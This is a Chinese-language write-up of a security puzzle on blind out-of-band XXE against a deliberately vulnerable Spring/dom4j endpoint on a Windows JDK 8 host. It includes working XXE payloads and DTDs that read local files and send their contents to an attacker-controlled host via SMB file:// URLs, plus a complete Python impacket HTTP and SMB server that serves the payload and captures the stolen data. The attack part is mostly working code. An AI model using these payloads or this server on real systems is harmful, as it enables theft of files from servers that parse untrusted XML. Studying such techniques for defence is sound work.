How to Exploit OOB XXE to Exfiltrate Multi-Line Data in a High-Version JDK 8 Environment on Windows
前言
看到[漫漫安全路]公众号发布了一个关于 XXE 在 JDK8 相对高版本环境的 Puzzle,值得探究一下内部有趣的利用方式
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
@RestController
@RequestMapping("/api/system")
public class BlindXxeController {
@PostMapping("/update-config")
public ResponseEntity<Map<String, Object>> updateSystemConfig(
@RequestParam("configXml") String configXml,
HttpServletRequest request) {
Map<String, Object> response = new HashMap<>();
try {
CompletableFuture.runAsync(() -> {
try {
SAXReader reader = new SAXReader();
Document document = reader.read(new StringReader(configXml));
processConfigDocument(document);
} catch (DocumentException e) {
System.err.println("配置处理错误: " + e.getMessage());
}
});
response.put("status", "success");
response.put("message", "配置更新请求已提交,正在后台处理");
return ResponseEntity.ok(response);
} catch (Exception e) {
response.put("status", "error");
response.put("message", "配置更新请求失败");
response.put("error", "系统内部错误");
return ResponseEntity.internalServerError().body(response);
}
}
private void processConfigDocument(Document document) {
try {
Element root = document.getRootElement();
List<Element> settings = root.elements("setting");
for (Element setting : settings) {
String name = setting.attributeValue("name");
String value = setting.getTextTrim();
System.out.println("更新配置: " + name + " = " + value);
}
System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");
} catch (Exception e) {
System.err.println("配置处理异常: " + e.getMessage());
}
}
}dom4j 版本无要求
尝试
题目是完全没回显的,报错即使是盲注什么的肯定是无法利用了,只能想办法外带。随便写个 xml 嵌套个实体向往发个请求看一下,发现是 JDK-202,测了下 http 协议外带不出去,由于 Java java.net.URI 会对 URL 做检查,内部多行文件的 \n 导致直接报 URL InValid,


再尝试了下 XXE 另一种OOB的方法 ftp 协议,能正常建立连接但是无法带出任何信息,这就引出这次探究的一个关键之处

不仅对于后面的命令有检测,前部的用户名和密码位置也有检测

当切换成版本较低的如 JDK8-u65 是可以正常外带出多行的信息
对题目测试时候发现读取 /etc/passwd 是建立不到连接的,读 C:/Windows/win.ini 反而是可以,所以这个题目居然是 Windows 环境。
探究
在翻阅了所有我能找到的文章,发现目前没有能利用 ftp 去实现绕过的方式
- <7u141-b00 或 <8u131-b09 :不会受文件中
\n的影响; - >jdk8u162:能创建 FTP 连接,外带文件内容中含有
\n则抛出异常; - >jdk8u232:不能创建 FTP 连接,只要 url 中含有
\n就会抛出异常,为了避免通过观测是否建立连接判断文件存在 - 可能对外请求的几种协议

这个题目既然是 Windows 环境,想必有一些特性需要利用,通过建立连接的方式试了几个常用的都没有,大概率是增加了后缀,需要想办法知道文件名,想不到可以 RCE 的点 ,最后发现是利用 SMB 协议去外带文件,欠缺渗透的经验导致我对于 SMB 或者 Windows 上的一些特殊之处毫无敏感性
珂技知识分享的博主提到了NTFS文件流****文件不区分大小写 3,短文件名
smb.dtd
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file://172.22.33.254/%all;'>">%eval;%error;xml
<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY % all SYSTEM "file:///D:/flag.txt" ><!ENTITY % dtd SYSTEM "http://172.22.33.254:8000/smb.dtd">%dtd;]>调试进去可以看到file协议头被解析出 smb 的格式,如果直接套 smb 格式反而会报错,new URL(url)实际上是不支持**\127.0.0.1\test这种写法的,仅支持file://127.0.0.1/test**。真正支持**\127.0.0.1\test**的是new File(path)。

最后可以开一个 samba 去tcpdump 抓包看流量(注意共享目录要真实存在),也可以像出题人一样写个 smb 接收服务,值得注意的是这个本地不方便复现,因为家宽发不出去445端口请求,且 win11 默认不可访问匿名的 smb 服务
python3 xxe-smb-server.py public-ip-address web-port#!/usr/bin/env python3
from impacket.smbserver import SimpleSMBServer
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
import os
import logging
import threading
import argparse
class XXEHandler(BaseHTTPRequestHandler):
public_ip = None
def do_GET(self):
"""处理所有 GET 请求"""
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
# 构造 XXE payload
payload = f'<!ENTITY % all "<!ENTITY send SYSTEM \'file:////{self.public_ip}/a%file;\'>">\n%all;'
self.wfile.write(payload.encode())
# 记录请求
logging.info(f"[HTTP] Request from {self.address_string()} - Path: {self.path}")
logging.info(f"[HTTP] Sent payload: {payload}")
def log_message(self, format, *args):
"""自定义日志格式"""
logging.info(f"[HTTP] {self.address_string()} - {format % args}")
def start_http_server(port, public_ip):
"""启动 HTTP 服务器"""
XXEHandler.public_ip = public_ip
server = HTTPServer(('0.0.0.0', port), XXEHandler)
logging.info(f"[*] HTTP Server started on port {port}")
logging.info(f"[*] XXE Payload URL: http://{public_ip}:{port}/xxe.dtd")
server.serve_forever()
def start_smb_server(share_path):
"""启动 SMB 服务器"""
server = SimpleSMBServer(listenAddress='0.0.0.0', listenPort=445)
server.addShare('SHARE', share_path, '')
server.setSMBChallenge('')
server.setSMB2Support(True)
server.start()
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(
description='XXE SMB Server - Combined HTTP and SMB server for XXE exploitation',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
%(prog)s 1.2.3.4 # 使用默认 HTTP 端口 80
%(prog)s 1.2.3.4 8080 # 使用自定义 HTTP 端口 8080
''')
parser.add_argument('public_ip',
help='公网 IP 地址 (必需)')
parser.add_argument('webport',
type=int,
nargs='?',
default=80,
help='HTTP 服务端口 (默认: 80)')
parser.add_argument('-s', '--share-path',
default='/tmp/share',
help='SMB 共享目录路径 (默认: /tmp/share)')
args = parser.parse_args()
# 验证 IP 地址格式(简单验证)
if not args.public_ip or args.public_ip.count('.') != 3:
parser.error("请提供有效的公网 IP 地址")
# 自动创建共享目录
os.makedirs(args.share_path, exist_ok=True)
# 配置详细日志输出
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s [%(levelname)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
# 设置 impacket 相关模块的日志级别
logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
payload = f'''Usage:
1. 请发送如下XXE payload到目标服务器
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % dtd SYSTEM "http://{args.public_ip}:{args.webport}/data.dtd"> %dtd;
]>
<data>&send;</data>
2. SMB 服务器将捕获文件内容'''
print(payload)
try:
# 在单独的线程中启动 HTTP 服务器
http_thread = threading.Thread(
target=start_http_server,
args=(args.webport, args.public_ip),
daemon=True
)
http_thread.start()
# 在主线程中启动 SMB 服务器
start_smb_server(args.share_path)
except KeyboardInterrupt:
print("\n[*] Servers stopped")
sys.exit(0)
except PermissionError:
print("\n[!] Error: Permission denied. Please run with sudo for port 445 and port 80")
sys.exit(1)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)
if __name__ == '__main__':
main()
